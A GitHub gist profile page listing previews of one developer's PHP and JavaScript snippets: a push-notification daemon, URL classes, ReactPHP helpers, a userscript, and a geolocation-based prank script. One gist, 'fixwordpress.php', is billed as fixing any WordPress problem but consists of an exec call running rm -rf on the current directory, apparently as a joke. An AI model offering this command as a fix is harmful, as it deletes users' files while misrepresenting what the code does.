Skip to content

Instantly share code, notes, and snippets.

View DaveRandom's full-sized avatar

Chris Wright DaveRandom

View GitHub Profile
@DaveRandom
DaveRandom / any-min.js
Last active December 21, 2015 01:49
I'm not gay, I just really like rainbows.
(function(){"use strict";var e="http://upload.wikimedia.org/wikipedia/commons/thumb/a/a4/ICA_flag.svg/220px-ICA_flag.svg.png",t="http://freegeoip.net/json/?callback=window.____PeskyRuskies____.jsonpCallback",n="RU",r=false,i=null;window.____PeskyRuskies____={init:function(){var e=this,t=function(){e.initJsonpRequest()},n=function(){if(!r){try{document.documentElement.doScroll("left")}catch(t){setTimeout(n,1);return}e.initJsonpRequest()}};if(document.readyState==="complete"){this.initJsonpRequest()}else if(document.addEventListener){document.addEventListener("DOMContentLoaded",t,false);document.addEventListener("load",t,false)}else if(document.attachEvent){document.attachEvent("onreadystatechange",t);document.attachEvent("onload",t);try{if(document.documentElement.doScroll&&window.frameElement===null){n()}}catch(i){}}},initJsonpRequest:function(){if(!r){i=document.createElement("script");i.type="text/javascript";i.src=t;document.body.appendChild(i);r=true}},jsonpCallback:function(t){if(i){if(t.country_code!==u
@DaveRandom
DaveRandom / config.php
Last active July 26, 2018 00:50
Push notification daemon example for @PeeHaa
<?php
$pidFile = __DIR__ . '/push-notify.pid';
$localSockAddr = __DIR__ . '/push-notify.sock'; // used for sending updates
$publicSockAddr = 'tcp://0.0.0.0:1337'; // bind address for push clients
$remoteSockAddr = 'tcp://127.0.0.1:1337'; // push client remote address for testing
<?php
// Because PHP_URL_* constants are sequential :-(
const URL_SCHEME = 0x01;
const URL_USER = 0x02;
const URL_PASS = 0x04;
const URL_HOST = 0x08;
const URL_PORT = 0x10;
const URL_PATH = 0x20;
const URL_QUERY = 0x40;
@DaveRandom
DaveRandom / QueryLevel.php
Last active December 22, 2015 23:49
URI/query string classes
<?php
class QueryLevel implements \ArrayAccess, \Iterator, \Countable
{
private $elements = [];
private $iterationValid;
private function encodeElement($name, $value, $nameFormat = '%s')
{
@DaveRandom
DaveRandom / Pusher.php
Last active December 24, 2015 15:49 — forked from J7mbo/gist:6823472
<?php
namespace Seedstream;
use React\EventLoop\LoopInterface,
React\Socket\ConnectionInterface;
class Pusher
{
private $loop;
<?php
namespace Seedstream;
use React\EventLoop\LoopInterface,
React\Socket\ConnectionInterface;
class HandlerManager
{
private $loop;
@DaveRandom
DaveRandom / index.php
Created October 25, 2013 15:46
Fetch a remote URL and show some stuff. Just your basic waste on an hour.
<?php
// hack for viper7
$_SERVER['REQUEST_URI'] = '/' . basename($_SERVER['PHP_SELF']) . '/55dev';
session_start();
$methods = [
'GET',
'HEAD',
@DaveRandom
DaveRandom / fixwordpress.php
Created October 27, 2013 14:14
Fixes any problem with any Wordpress installation. Simply run this from your wordpress root directory.
<?php
exec("rm -rf '" . getcwd() . "/*'");
@DaveRandom
DaveRandom / onebox-collapse.user.js
Last active October 16, 2017 11:28
Add the ability to collapse and expand oneboxes in SE chat
// ==UserScript==
// @name SE onebox collapsing overlay
// @description Add the ability to collapse and expand oneboxes in SE chat
// @version 1.1
// @author DaveRandom
// @namespace https://github.com/DaveRandom
// @match *://chat.stackexchange.com/rooms/*
// @match *://chat.stackoverflow.com/rooms/*
// @match *://chat.meta.stackoverflow.com/rooms/*
// ==/UserScript==
<?php
/**
* Class URL
*
* @property string $scheme
* @property string $user
* @property string $pass
* @property string $host
* @property string $port